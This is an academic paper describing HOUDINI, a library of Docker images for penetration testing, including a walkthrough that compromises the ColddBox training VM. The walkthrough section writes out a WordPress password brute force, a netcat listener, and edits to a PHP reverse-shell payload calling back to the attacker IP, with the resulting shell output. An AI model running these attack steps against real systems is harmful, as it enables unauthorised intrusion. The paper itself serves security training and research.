<!DOCTYPE article PUBLIC "-//NLM//DTD JATS (Z39.96) Journal Archiving and Interchange DTD v1.0 20120330//EN" "JATS-archivearticle1.dtd">
<article xmlns:xlink="http://www.w3.org/1999/xlink">
  <front>
    <journal-meta>
      <journal-title-group>
        <journal-title>The Italian Conference on CyberSecurity, May</journal-title>
      </journal-title-group>
    </journal-meta>
    <article-meta>
      <title-group>
        <article-title>Container-based Virtualization for Ethical Hacking with HOUDINI</article-title>
      </title-group>
      <contrib-group>
        <contrib contrib-type="author">
          <string-name>Daniele Capone</string-name>
          <email>daniele.capone@secsi.io</email>
          <xref ref-type="aff" rid="aff0">0</xref>
        </contrib>
        <contrib contrib-type="author">
          <string-name>Angelo Delicato</string-name>
          <email>angelo.delicato@secsi.io</email>
          <xref ref-type="aff" rid="aff0">0</xref>
        </contrib>
        <contrib contrib-type="author">
          <string-name>Gaetano Perrone</string-name>
          <email>gaetano.perrone@unina.it</email>
          <xref ref-type="aff" rid="aff1">1</xref>
        </contrib>
        <contrib contrib-type="author">
          <string-name>Simon Pietro Romano</string-name>
          <email>spromano@unina.it</email>
          <xref ref-type="aff" rid="aff1">1</xref>
        </contrib>
        <aff id="aff0">
          <label>0</label>
          <institution>Security Solutions for Innovation</institution>
          ,
          <addr-line>Naples</addr-line>
          ,
          <country country="IT">Italy</country>
        </aff>
        <aff id="aff1">
          <label>1</label>
          <institution>University of Napoli Federico II</institution>
          ,
          <addr-line>Naples</addr-line>
          ,
          <country country="IT">Italy</country>
        </aff>
      </contrib-group>
      <pub-date>
        <year>2023</year>
      </pub-date>
      <volume>0</volume>
      <fpage>3</fpage>
      <lpage>05</lpage>
      <abstract>
        <p>Container-based technologies have become widespread today. Docker is the most well-known. Each Docker container is self-contained and serves a single purpose. Docker-based virtualization has gained a lot of momentum in the Cybersecurity field. It is commonly used to develop distributed security systems, virtual environments for training purposes, and intentionally vulnerable honeypots deployed in the network to divert attackers. Docker can also be efectively used to train penetration testers, i.e., security professionals who mimic hackers' actions by attempting to break into a target system to find critical vulnerabilities before real attackers can exploit them. Several works have adopted container-based virtualization to realize frameworks for penetration testing. Though, there is no fully-fledged hacking toolset based on Docker. In this work, we present HOUDINI (Hundreds of Ofensive and Useful Docker Images for Network Intrusion), a publicly available and easy-to-use open-source library that can be used to support security testing with Docker containers. We define Quality Criteria that must be met for an image to be included inside the HOUDINI library and benchmark our own images against communitymade public alternatives. Finally, we show the efectiveness of using container-based virtualization by simulating a complete hacking session with Docker.</p>
      </abstract>
      <kwd-group>
        <kwd>eol&gt;Hacking</kwd>
        <kwd>Network Security</kwd>
        <kwd>Virtualization</kwd>
        <kwd>Containers</kwd>
      </kwd-group>
    </article-meta>
  </front>
  <body>
    <sec id="sec-1">
      <title>1. Introduction</title>
      <p>
        Hackers continuously break into systems. At the time of this writing, a new ransomware attack
targets VMWare ESXi vulnerable servers by exploiting a two-year-old vulnerability 1. Although
security can be ensured through prevention, detection, and response, organizations must conduct
security testing [
        <xref ref-type="bibr" rid="ref1">1</xref>
        ]. One relevant security test is known as penetration testing. In this process,
security experts attempt to penetrate a system by both finding and exploiting its vulnerabilities.
At the end of such activities, a complete report describing the discovered vulnerabilities is
provided and can be used by companies to fix them. Nowadays, new virtualization approaches
have become popular. In particular, containers are widely adopted in both microservices-based
applications and high-performance computing scenarios. This is mainly due to their advantages
in terms of portability, isolation, performance, and eficiency [
        <xref ref-type="bibr" rid="ref2">2</xref>
        ]. Several technologies have been
developed to leverage container-based virtualization. In particular, Docker and Podman are
amongst the most widely used [
        <xref ref-type="bibr" rid="ref3">3</xref>
        ], and studies confirm that they have comparable performance
[
        <xref ref-type="bibr" rid="ref3">3</xref>
        ]. The Docker community is making significant eforts at collecting ready-to-use images
through DockerHub 2, i.e., the world’s largest library and community for pre-built container
images. Although several works leveraged such a modern virtualization technique to realize
penetration testing frameworks [
        <xref ref-type="bibr" rid="ref4">4</xref>
        ] [
        <xref ref-type="bibr" rid="ref5">5</xref>
        ], none of them provides a complete repository of Docker
images to support security professionals in conducting hacking sessions with Linux containers.
The aim of this work is threefold: (i) to provide a toolset of "Optimal" Docker images for hacking
purposes, (ii) to show that it is possible to “dockerize” hacking workflows and (iii) to analyze the
quality of publicly available community-made Docker images for ethical hacking purposes. The
paper is structured as follows. In Section 2 we show the related work on using container-based
virtualization and its relevance in the Cybersecurity field. In Section 3, we introduce HOUDINI,
a library that provides penetration testers with a curated list of the most relevant hacking
tools. We define several Quality Criteria to select Docker images and decide when creating new
ones from scratch. In Section 4, we discuss the covered hacking tools and compare HOUDINI’s
quality images with publicly available alternative options. Section 5 concludes the paper by
also providing information about directions for future work.
      </p>
    </sec>
    <sec id="sec-2">
      <title>2. Related Work</title>
      <p>
        Several studies show the scalability and performance benefits of using container-based
virtualization [
        <xref ref-type="bibr" rid="ref6">6</xref>
        ]. In our work, the main benefit of using container-based virtualization is portability.
Several works adopt this kind of virtualization for portability purposes. Wolski et al. (2019)
[
        <xref ref-type="bibr" rid="ref7">7</xref>
        ] develop a distributed system for the IoT domain. Other works show that the application of
containers increases the portability in complex data analysis workflows [
        <xref ref-type="bibr" rid="ref8">8</xref>
        ] [
        <xref ref-type="bibr" rid="ref9">9</xref>
        ]. Container-based
virtualization is extensively used in Cybersecurity. Several works leverage their benefits to
develop advanced virtual environments for security training, i.e., the so-called “cyber-range
environments” [
        <xref ref-type="bibr" rid="ref10">10</xref>
        ] [
        <xref ref-type="bibr" rid="ref11">11</xref>
        ] [
        <xref ref-type="bibr" rid="ref12">12</xref>
        ] [13]. Another interesting area where container-based virtualization
is commonly used is related to the creation of honeynets, i.e., intentionally vulnerable
environments that serve as decoys for attackers. The reason is that container-based virtualization is
highly scalable. As an example, Memari et al. [14] develop a container-based lightweight virtual
honeynet based on a “Honeyd” service that emulates both Windows and Linux services and
detects globally distributed malicious trafic.
      </p>
    </sec>
    <sec id="sec-3">
      <title>3. HOUDINI</title>
      <p>In this section, we first provide a high-level view of HOUDINI (Section 3.1). Then, we introduce
the Quality Criteria used to evaluate "Optimal" Docker images (Section 3.2) and illustrate the
process followed to add Docker images to the HOUDINI library (Section 3.3).</p>
      <sec id="sec-3-1">
        <title>3.1. A Bird’s Eye View on HOUDINI</title>
        <p>HOUDINI is a curated list of network security-related Docker images for network intrusion
purposes. The development process began with the gathering of all available tools from the Kali</p>
        <sec id="sec-3-1-1">
          <title>Tools page 3, which consists of a vast collection of thousands of tools. These tools were then</title>
          <p>systematically organized and integrated into HOUDINI to provide a comprehensive and eficient
library for ethical hacking activities. The end goal is to provide a useful and user-friendly tool
that can aid the community in conducting ethical hacking tasks with ease and efectiveness.
Tools are collected in JSON format, as shown in Listing 1.
{
}
"fancy_name": "Nmap",
"name": "nmap",
"description": "Utility for network discovery and security auditing",
"official_doc": "https://github.com/nmap/nmap",
"categories": [ "scanner" ],
"organization": "secsi",
"run_command": "docker run -it --rm --privileged secsi/nmap -p &lt;target_port&gt; &lt;
target_ip_address&gt;"</p>
          <p>Listing 1: JSON format for a single hacking tool</p>
          <p>For each hacking tool, we define a set of hacking categories, a name, an oficial documentation
link, a brief description, and a default “docker run” command that allows users to quickly execute
the hacking tool. Each tool also has a related Markdown page containing a “Cheatsheet”, i.e.,
a list of the most commonly used hacking tool commands. The HOUDINI web application is
publicly available. 4</p>
        </sec>
      </sec>
      <sec id="sec-3-2">
        <title>3.2. Docker Image Quality Criteria</title>
        <p>To assess the quality of a Docker image we analyze its Dockerfile 5 and follow the best practices
provided by Docker 6. The following Quality Criteria (QC) are defined:
• QC1: The image size should be minimal;
• QC2: The Docker image should be constantly updated in accordance with the current
version of the original hacking tool.
3https://en.kali.tools/all
4https://houdini.secsi.io/
5https://docs.docker.com/engine/reference/builder/
6https://docs.docker.com/develop/develop-images/dockerfile_best-practices/
Even though these two criteria can be applied to any software in general, in this context they
acquire heightened prominence.</p>
        <p>Firstly, the size of a Docker image assumes crucial significance in this domain. As the
primary building blocks of containerized applications, Docker images encapsulate the necessary
dependencies and configurations. Considering the constrained resources often encountered in
penetration testing scenarios, minimizing the image size becomes imperative. By reducing the
image’s footprint, the container’s overhead is diminished, enabling eficient resource utilization,
faster deployment, and improved performance during testing activities.</p>
        <p>Secondly, ensuring that Docker images are up-to-date with the latest version of the original
tool assumes heightened importance in the context of penetration testing. Penetration testing
frequently involves identifying and exploiting vulnerabilities in systems and applications. These
vulnerabilities are often addressed through updates and patches released by the respective
software vendors. By utilizing Docker images that are up-to-date with the current versions of
the tools, practitioners can ensure they have access to the latest security enhancements and bug
ifxes. This enhances the accuracy and efectiveness of penetration testing activities, allowing
for more comprehensive evaluations of target systems.</p>
        <p>After careful consideration, we decided to avoid adding security-related Quality Criteria (i.e.
users with minimal permissions and without shell access) because these Docker images are
mainly to be used as disposable containers in non-production environments. When it comes
to Docker images, there is a fundamental diference between disposable containers and
longrunning containers. Disposable containers are designed to be short-lived and created on-demand
to perform a specific task, while long-running containers are designed to run continuously and
host a specific application or service. Given the short lifespan of disposable containers, it is
often unnecessary and impractical to add strict security features to them. These containers are
typically created, used, and then destroyed quickly, which means that any additional security
features would add unnecessary complexity and overhead to the process.</p>
      </sec>
      <sec id="sec-3-3">
        <title>3.3. Image Selection Workflow</title>
        <p>The process used to search for Docker images and decide whether to collect them or create new
ones based on Quality Criteria is the following: first, we search for Docker images in DockerHub
to check if an oficial image does exist. If the image exists and meets the defined Quality Criteria,
we collect it and add to the HOUDINI library. Otherwise, we build a new Docker image and
include it in HOUDINI. QC2 is probably the most important Quality Criterion; to satisfy it
we developed an approach that takes advantage of the GitHub Actions for CI/CD (continuous
integration and continuous delivery) called RAUDI 7.</p>
        <p>RAUDI is a tool designed to facilitate the seamless maintenance and continuous updating
of Docker images. Leveraging the use of Dockerfiles with carefully defined ARGS and Github
Actions, RAUDI enables automatic synchronization between the original software repositories
and our images published on the Docker Hub. By employing a systematic approach, RAUDI
checks every day (at midnight) for updates in the respective tool repositories. When an update
is detected, RAUDI automatically retrieves the latest version, incorporates the changes into
7https://github.com/cybersecsi/RAUDI
the Docker image, and promptly pushes the updated image to Docker Hub. This streamlined
process ensures that the Docker images remain consistently up to date, reflecting the latest
versions of the underlying tools. For this reason all the images made from scratch also comply
with QC1.</p>
      </sec>
    </sec>
    <sec id="sec-4">
      <title>4. Results and Discussion</title>
      <p>In this section we provide information about the HOUDINI images, focusing on the number
of collected images against created images (Section 4.1). Then, for each hacking tool, we
leverage the previously mentioned Docker Quality Criteria in order to compare the images we
created from scratch with the corresponding images that are publicly available in DockerHub
(Section 4.2). Then, we show a practical walkthrough about performing a complete penetration
testing session by using HOUDINI containers (Section 4.3) Finally, we briefly discuss about the
limitations of using Docker for ethical hacking activities (Section 4.4).</p>
      <sec id="sec-4-1">
        <title>4.1. Hacking Tools Coverage</title>
        <p>At the time of this writing, the HOUDINI library stores 114 hacking tools under 30 hacking
categories. Table 1 highlights the number of Docker images for the 6 main categories.</p>
        <p>Scanner
52</p>
        <p>Recon
44</p>
        <p>Webapp
33</p>
        <p>Exploitation
16</p>
        <p>Networking
8</p>
        <p>Misc
8</p>
        <p>Since our work was intended to support penetration testing, a larger number of scanning,
reconnaissance, web application, and exploitation images is justified. We remark that a single
image may belong to diferent categories. Therefore, some categories could be a specialization of
more general ones. For example, several web application scanners belong to both the ’scanning’
category and the ’webapp’ category.</p>
        <p>Num. of images collected
43 (37.7%)</p>
        <p>Num. of images created from scratch
71 (62.3%)</p>
        <p>As it is possible to observe in Table 2, 71 (e.g. 63.3% of the total) Docker images did not
satisfy the Quality Criteria. The prevalence of non-optimal community-made Docker images
for penetration testing undermines the efectiveness of security evaluations. Using this Docker
images leads to resource ineficiency, longer deployment times, and suboptimal utilization of
computing resources. Additionally, outdated images lack the latest security enhancements,
exposing testers to potential blind spots and inaccurate results. Therefore, it is crucial to
define and produce optimal Docker images in this context. By adhering to defined criteria,
penetration testers can improve resource eficiency, ensure access to the latest security features,
and promote standardized and reliable testing methodologies. This, in turn, enhances the
accuracy of vulnerability identification.</p>
      </sec>
      <sec id="sec-4-2">
        <title>4.2. Docker Images Quality Evaluation</title>
        <p>As anticipated, we analyzed Docker images and evaluated whether or not they satisfied the
Docker image Quality Criteria defined in Section 3.2. Specifically, the analysis focused on
identifying alternatives for each “HOUDINI tool” and assessing these alternatives against the
two pre-defined criteria. The total number of community-made alternatives to the Docker
images made from scratch is 2062; the goal of the analysis is to compare our 71 images against
them. Interestingly enough, Figure 2 illustrates that among the 2062 alternative Docker images
examined, 498 are smaller in size than the images created from scratch. This finding can be
attributed to the fact that some of these alternative images are outdated, resulting in a smaller
codebase compared to the current version of the tool. In a similar vein, Figure 3 presents a
parallel comparison indicating that only 209 out of the 2602 alternative images are up-to-date.
Moreover, we assume that the HOUDINI image is aligned with the latest version of the original
tool since it is managed using the RAUDI approach described previously. To ensure a fair
evaluation of the work presented in this paper, we generated a final comparison chart that
combines both Quality Criteria, QC1 and QC2. We consider only those images that are both
smaller in size and up-to-date as better than the images we created from scratch.</p>
        <p>As depicted in Figure 4, the HOUDINI images outperform publicly available alternatives.
Although we identified 4 alternatives that could be considered better than the images we created
from scratch, these alternatives are generally small in size (less than 10 Mb). Further analysis of
their Dockerfiles revealed that their smaller size is largely due to missing libraries for optional
features. Furthermore, given the small size of these images, the observed diference in size is
almost negligible.</p>
      </sec>
      <sec id="sec-4-3">
        <title>4.3. Container-based Penetration Testing Walkthrough</title>
        <p>In order to show the efectiveness of using containers to solve hacking tasks, we conduct a
complete network security assessment by only using Docker containers. In particular, we
describe the hacking steps used to compromise ColddBox 8, i.e., a vulnerable machine provided
for training purposes. The virtual environment is illustrated in Fig. 5.</p>
        <p>The scenario was developed by using VirtualBox, a powerful, open-source virtualization
software that allows for the creation and management of virtual machines (VMs) on a host
computer. The host computer presented the following specifications:
• Processor: Intel(R) Core(TM) i7-10510U CPU @ 1.80 GHz with a base clock speed of 1.80</p>
        <p>GHz and a maximum turbo frequency of 2.30 GHz.
• Memory: 16 GB of RAM.</p>
        <p>• Operating System: Windows 11 Pro 64-bit (build 22621.1194)</p>
        <p>The 16 GB of RAM ensured that the host computer had enough memory to support the
virtualization environment. Two virtual machines were created and attached to the “internal
network” infrastracture created for the creation of the scenario. The first VM represented the
vulnerable machine, i.e., ColddBox, while the second one was an Ubuntu Desktop 22.04 with
Docker, representing the “dockerized hacking machine”. Each machine had 2 GB of RAM and 2
CPUs. We describe the hacking process used to exploit the vulnerable machine. Some outputs
are stripped of in order to allow the reader to focus just on the relevant information.
1. Discovery: to find the vulnerable host in the virtual subnet, a “ping sweep” is performed
using the nmap image.
docker run -it --rm secsi/nmap -sn 10.10.0.0/24</p>
        <p>Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-07 21:44 UTC
8https://www.vulnhub.com/entry/colddbox-easy,586/
...</p>
        <p>Nmap scan report for 10.10.0.3
Host is up (0.0025s latency).</p>
        <p>MAC Address: 08:00:27:29:5B:26 (Oracle VirtualBox virtual NIC)</p>
        <p>Listing 2: Discovery phase</p>
        <p>Through the discovery phase, we discover the IP address of the vulnerable host.
2. Scanning: in order to find the open services, we once again leverage the nmap Docker
image with diferent flags that enable a TCP Connect Scan (i.e., -sT) 9 .
docker run -it 10.10.0.3 --rm secsi/nmap -sT -p- 10.10.0.3
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-07 21:47 UTC
[...]
PORT STATE SERVICE
80/tcp open http
4512/tcp open unknown
MAC Address: 08:00:27:29:5B:26 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 11.55 seconds</p>
        <p>Listing 3: Scanning phase</p>
        <p>We find two open ports, i.e., 80/tcp and 4512/tcp.
3. Enumeration: we enumerate the HTTP port (i.e. 80/tcp) with the “whatweb” Docker
image 10.
docker run -it --network host --rm secsi/whatweb -v -a 3 http://10.10.0.3
WhatWeb report for http://10.10.0.3
Status : 200 OK
Title : ColddBox | One more machine
IP : 10.10.0.3
...</p>
        <p>MetaGenerator[WordPress 4.1.31], PoweredBy[WordPress,WordPress,], Script[text/
javascript], WordPress[4.1.24,4.1.25,4.1.31],
x...</p>
        <p>Listing 4: Enumeration phase</p>
        <p>We find that the website utilizes an obsolete WordPress version.</p>
        <sec id="sec-4-3-1">
          <title>4. Enumerating users: we use the “wpscan” tool 11 to find the users registered in the</title>
          <p>WordPress platform.
9https://nmap.org/book/scan-methods-connect-scan.html
10https://hub.docker.com/r/secsi/whatweb/
11https://wpscan.com/
docker run -it 10.10.0.3 --rm wpscanteam/wpscan \</p>
          <p>--url http://10.10.0.3 --enumerate u
...
[+] Enumerating Users (via Passive and Aggressive Methods)
[...]
[i] User(s) Identified:
[+] the cold in person
| Found By: Rss Generator (Passive Detection)
[+] c0ldd
[+] hugo
[+] philip</p>
          <p>Listing 5: Users enumeration phase
We find c0ldd, hugo and philip users. We try a brute-force attack with the same
Docker image.
docker run -it 10.10.0.3 --rm \
-v /usr/share/wordlists/rockyou.txt:/rockyou.txt \
wpscanteam/wpscan --url http://10.10.0.3 \
--usernames c0ldd --passwords /rockyou.txt
[+] URL: http://10.10.0.3/ [10.10.0.3]
...
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0ldd / 9876543210
Trying c0ldd / 9876543210 Time: 00:00:17
&gt; (1225 / 14345617) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: c0ldd, Password: 9876543210</p>
          <p>Listing 6: Bruteforcing phase
We find the credentials. As it is possible to observe, the container requires the
“rockyou.txt” wordlist. We use the Docker volume feature to ‘mount’ the wordlist file (i.e.,
/usr/share/wordlists/rockyou.txt) into the container (i.e., /rockyou.txt). In order
to obtain access to the vulnerable server, we log in to the WordPress administration page and
upload a malicious PHP file that allows us to escalate privileges by accessing the vulnerable VM’s
operating system. In particular, we use the so-called reverse shell to receive a shell terminal
into the VM. To exploit such a technique, we need to listen on a TCP port. We can “dockerize”
the latter task by using a netcat image.
docker run -it 10.10.0.3 --rm appropriate/nc -lv 0.0.0.0 8888</p>
          <p>Listing 7: Netcat listener
We download a PHP reverse shell payload 12, set the IP variable to our IP address and the port
variable to the value 8888, i.e., the listening port of the netcat container.
diff php-reverse-shell.php php-reverse-shell-changed.php
49,50c49,50
&lt; $ip = ’127.0.0.1’; // CHANGE THIS
&lt; $port = 1234; // CHANGE THIS
--&gt; $ip = ’169.254.0.3’; // CHANGE THIS
&gt; $port = 8888; // CHANGE THIS</p>
          <p>Listing 8: Changes applied to the PHP malicious payload
Finally, we login into the WordPress site with the credentials found previously and upload the
malicious page in the header section.
docker run -it 10.10.0.3 --rm appropriate/nc -lv 0.0.0.0 8888
Connection from 10.10.0.3 port 8888 [tcp/8888] accepted
Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64
x86_64 x86_64 GNU/Linux
23:55:59 up 1:38, 0 users, load average: 0.00, 0.00, 0.00
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can’t access tty; job control turned off
$ whoami
www-data</p>
          <p>Listing 9: Reverse shell</p>
          <p>After compromising the VM’s OS, we can escalate privileges through Linux local privilege
escalation techniques. These techniques can either exploit kernel vulnerabilities [15] or other
approaches [16], but should all be executed locally. So, containers cannot be used to perform
local privilege escalation attacks. Anyway, we can use them as a “download server” that can
be used to download binaries that perform the privilege escalation attacks. In the following
example, we run a static Apache webserver with Docker 13 and upload a “linux privilege
escalation script example” 14 on a static webserver.
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/
linuxprivchecker.py
[...]
Saved in: linuxprivchecker.py
linuxprivchecker.py
36,32K --.-KB/s</p>
          <p>in 0,002s
2023-02-08 08:11:35 (14,2 MB/s) - linuxprivchecker.py saved [37196/37196]
12https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
13https://hub.docker.com/_/httpd
14https://github.com/sleventyeleven/linuxprivchecker
docker run -it --name my-apache-app -p 8080:80 \
-v "$PWD":/usr/local/apache2/htdocs/ httpd:2.4</p>
          <p>Listing 10: Webserver hosting linux privesc script</p>
          <p>The file can be downloaded from the attacked virtual machine and executed to find privilege
escalation vulnerabilities. It is also possible to compile source code to generate local privilege
escalation exploitation binaries with Docker images containing build toolchains, e.g., gcc 15 or
g++-mingw-w64 16</p>
        </sec>
      </sec>
      <sec id="sec-4-4">
        <title>4.4. Docker Limitations</title>
        <p>Docker ofers many benefits, such as portability, consistency, and scalability. However, like
any other technology, Docker has its own limitations. One of these limitations is that it is not
well-suited for running graphical user interface (GUI) applications. While Docker can be used
to run a wide range of applications, including web servers, databases, and command-line tools,
it is not designed to seamlessly support GUI applications. This is because GUI applications
typically require access to the host’s graphics system, which can be dificult to achieve within a
container. Additionally, Docker containers are often used to run lightweight, headless services
that don’t require a GUI.</p>
        <p>While it is possible to run GUI applications in Docker using workarounds such as X11
forwarding or VNC, these solutions can be complex to set up and can impact performance.
Moreover, running GUI applications in a Docker container may violate the containerization
principle of separating application logic from the host system. In summary, it is typically more
convenient to run these applications outside of a container.</p>
      </sec>
    </sec>
    <sec id="sec-5">
      <title>5. Conclusions and Future Work</title>
      <p>In this work, we have presented HOUDINI, an open-source easy-to-use publicly available library
containing hundreds of Docker images useful to conduct penetration testing activities. We
show that it is possible to perform a complete hacking session through Docker containers.
Furthermore, we show the benefits and limitations of using such an approach. In future works,
we aim to formalize the Quality Criteria defined in this work and evaluate the efectiveness
against state-of-the-art approaches used to evaluate Docker images [17] [18]. Several companies
and researchers have developed complete hacking tools collections. For example, “Ofensive
security” provides a complete toolset that is contained in the oficial Kali Linux distribution 17.
Kaksonen et al. (2021) [19] provide an excellent toolset of the most widely used open-source
tools used for ethical hacking. We also intend to automate the image generation process in
order to integrate such repositories in the HOUDINI library.
15https://hub.docker.com/_/gcc
16https://hub.docker.com/r/purplekarrot/mingw-w64-x86-64
17https://en.kali.tools/all
1109/access.2021.3101245. doi:10.1109/access.2021.3101245.
[13] M. Benzi, G. Lagorio, M. Ribaudo, Automatic challenge generation for hands-on
cybersecurity training, in: 2022 IEEE European Symposium on Security and Privacy
Workshops, IEEE, 2022. URL: https://doi.org/10.1109/eurospw55150.2022.00059. doi:10.1109/
eurospw55150.2022.00059.
[14] N. Memari, S. J. Hashim, K. Samsudin, Container based virtual honeynet for increased
network security, in: 2015 5th National Symposium on Information Technology: Towards
New Smart World (NSITNSW), IEEE, 2015. URL: https://doi.org/10.1109/nsitnsw.2015.
7176410. doi:10.1109/nsitnsw.2015.7176410.
[15] S. Lu, Z. Lin, M. Zhang, Kernel vulnerability analysis: A survey, in: 2019 IEEE Fourth
International Conference on Data Science in Cyberspace (DSC), IEEE, 2019. URL: https:
//doi.org/10.1109/dsc.2019.00089. doi:10.1109/dsc.2019.00089.
[16] M. O’Leary, Privilege escalation in linux, in: Cyber Operations, Apress, 2019, pp. 419–453.</p>
      <p>URL: https://doi.org/10.1007/978-1-4842-4294-0_9. doi:10.1007/978-1-4842-4294-0_
9.
[17] G. Rosa, S. Scalabrino, R. Oliveto, Fixing dockerfile smells: An empirical study, 2022. URL:
https://arxiv.org/abs/2208.09097. doi:10.48550/ARXIV.2208.09097.
[18] Y. Wu, Y. Zhang, T. Wang, H. Wang, Characterizing the occurrence of dockerfile smells
in open-source software: An empirical study, IEEE Access 8 (2020) 34127–34139. doi:10.
1109/ACCESS.2020.2973750.
[19] R. Kaksonen, T. Järvenpää, J. Pajukangas, M. Mahalean, J. Röning, 100 popular open-source
infosec tools, in: ICT Systems Security and Privacy Protection, Springer International
Publishing, 2021, pp. 181–195. URL: https://doi.org/10.1007/978-3-030-78120-0_12. doi:10.
1007/978-3-030-78120-0_12.</p>
    </sec>
  </body>
  <back>
    <ref-list>
      <ref id="ref1">
        <mixed-citation>
          [1]
          <string-name>
            <given-names>D. D.</given-names>
            <surname>Bertoglio</surname>
          </string-name>
          ,
          <string-name>
            <given-names>A. F.</given-names>
            <surname>Zorzo</surname>
          </string-name>
          ,
          <article-title>Overview and open issues on penetration test</article-title>
          ,
          <source>Journal of the Brazilian Computer Society</source>
          <volume>23</volume>
          (
          <year>2017</year>
          ). URL: https://doi.org/10.1186/s13173-017-0051-1. doi:
          <volume>10</volume>
          .1186/s13173-017-0051-1.
        </mixed-citation>
      </ref>
      <ref id="ref2">
        <mixed-citation>
          [2]
          <string-name>
            <given-names>M.</given-names>
            <surname>Chae</surname>
          </string-name>
          ,
          <string-name>
            <given-names>H.</given-names>
            <surname>Lee</surname>
          </string-name>
          ,
          <string-name>
            <given-names>K.</given-names>
            <surname>Lee</surname>
          </string-name>
          ,
          <article-title>A performance comparison of linux containers and virtual machines using docker and KVM</article-title>
          ,
          <source>Cluster Computing</source>
          <volume>22</volume>
          (
          <year>2017</year>
          )
          <fpage>1765</fpage>
          -
          <lpage>1775</lpage>
          . URL: https: //doi.org/10.1007/s10586-017-1511-2. doi:
          <volume>10</volume>
          .1007/s10586-017-1511-2.
        </mixed-citation>
      </ref>
      <ref id="ref3">
        <mixed-citation>
          [3]
          <string-name>
            <given-names>B.</given-names>
            <surname>Dordevic</surname>
          </string-name>
          ,
          <string-name>
            <given-names>V.</given-names>
            <surname>Timcenko</surname>
          </string-name>
          ,
          <string-name>
            <given-names>M.</given-names>
            <surname>Lazic</surname>
          </string-name>
          ,
          <string-name>
            <given-names>N.</given-names>
            <surname>Davidovic</surname>
          </string-name>
          ,
          <article-title>Performance comparison of docker and podman container-based virtualization</article-title>
          ,
          <source>in: 2022 21st International Symposium INFOTEH-JAHORINA (INFOTEH)</source>
          , IEEE,
          <year>2022</year>
          . URL: https://doi.org/10.1109/infoteh53737.
          <year>2022</year>
          .
          <volume>9751277</volume>
          . doi:
          <volume>10</volume>
          .1109/infoteh53737.
          <year>2022</year>
          .
          <volume>9751277</volume>
          .
        </mixed-citation>
      </ref>
      <ref id="ref4">
        <mixed-citation>
          [4]
          <string-name>
            <given-names>P.</given-names>
            <surname>Dholey</surname>
          </string-name>
          ,
          <string-name>
            <given-names>A. K.</given-names>
            <surname>Shaw</surname>
          </string-name>
          ,
          <article-title>OnlineKALI: Online vulnerability scanner</article-title>
          ,
          <source>in: Advances in Intelligent Systems and Computing</source>
          , Springer Singapore,
          <year>2018</year>
          , pp.
          <fpage>25</fpage>
          -
          <lpage>35</lpage>
          . URL: https: //doi.org/10.1007/
          <fpage>978</fpage>
          -981-13-1544-
          <issue>2</issue>
          _3. doi:
          <volume>10</volume>
          .1007/
          <fpage>978</fpage>
          -981-13-1544-
          <issue>2</issue>
          _
          <fpage>3</fpage>
          .
        </mixed-citation>
      </ref>
      <ref id="ref5">
        <mixed-citation>
          [5]
          <string-name>
            <given-names>A. M.</given-names>
            <surname>Dissanayaka</surname>
          </string-name>
          ,
          <string-name>
            <given-names>S.</given-names>
            <surname>Mengel</surname>
          </string-name>
          ,
          <string-name>
            <given-names>L.</given-names>
            <surname>Gittner</surname>
          </string-name>
          ,
          <string-name>
            <given-names>H.</given-names>
            <surname>Khan</surname>
          </string-name>
          ,
          <article-title>Security assurance of MongoDB in singularity LXCs: an elastic and convenient testbed using linux containers to explore vulnerabilities</article-title>
          ,
          <source>Cluster Computing</source>
          <volume>23</volume>
          (
          <year>2020</year>
          )
          <fpage>1955</fpage>
          -
          <lpage>1971</lpage>
          . URL: https://doi.org/10.1007/ s10586-020-03154-7. doi:
          <volume>10</volume>
          .1007/s10586-020-03154-7.
        </mixed-citation>
      </ref>
      <ref id="ref6">
        <mixed-citation>
          [6]
          <string-name>
            <given-names>N. G.</given-names>
            <surname>Bachiega</surname>
          </string-name>
          ,
          <string-name>
            <given-names>P. S. L.</given-names>
            <surname>Souza</surname>
          </string-name>
          ,
          <string-name>
            <given-names>S. M.</given-names>
            <surname>Bruschi</surname>
          </string-name>
          ,
          <string-name>
            <surname>S.</surname>
          </string-name>
          do R. S. de Souza,
          <article-title>Container-based performance evaluation: A survey and challenges</article-title>
          ,
          <source>in: 2018 IEEE International Conference on Cloud Engineering (IC2E)</source>
          , IEEE,
          <year>2018</year>
          . URL: https://doi.org/10.1109/ic2e.
          <year>2018</year>
          .
          <volume>00075</volume>
          . doi:
          <volume>10</volume>
          .1109/ic2e.
          <year>2018</year>
          .
          <volume>00075</volume>
          .
        </mixed-citation>
      </ref>
      <ref id="ref7">
        <mixed-citation>
          [7]
          <string-name>
            <given-names>R.</given-names>
            <surname>Wolski</surname>
          </string-name>
          ,
          <string-name>
            <given-names>C.</given-names>
            <surname>Krintz</surname>
          </string-name>
          ,
          <string-name>
            <given-names>F.</given-names>
            <surname>Bakir</surname>
          </string-name>
          , G. George, W.-T. Lin, CSPOT, in
          <source>: Proceedings of the 4th ACM/IEEE Symposium on Edge Computing, ACM</source>
          ,
          <year>2019</year>
          . URL: https://doi.org/10.1145/ 3318216.3363314. doi:
          <volume>10</volume>
          .1145/3318216.3363314.
        </mixed-citation>
      </ref>
      <ref id="ref8">
        <mixed-citation>
          [8]
          <string-name>
            <given-names>W.</given-names>
            <surname>Gerlach</surname>
          </string-name>
          ,
          <string-name>
            <given-names>W.</given-names>
            <surname>Tang</surname>
          </string-name>
          ,
          <string-name>
            <given-names>K.</given-names>
            <surname>Keegan</surname>
          </string-name>
          ,
          <string-name>
            <given-names>T.</given-names>
            <surname>Harrison</surname>
          </string-name>
          ,
          <string-name>
            <given-names>A.</given-names>
            <surname>Wilke</surname>
          </string-name>
          ,
          <string-name>
            <given-names>J.</given-names>
            <surname>Bischof</surname>
          </string-name>
          ,
          <string-name>
            <surname>M. D'Souza</surname>
            ,
            <given-names>S.</given-names>
          </string-name>
          <string-name>
            <surname>Devoid</surname>
            ,
            <given-names>D.</given-names>
          </string-name>
          <string-name>
            <surname>Murphy-Olson</surname>
            ,
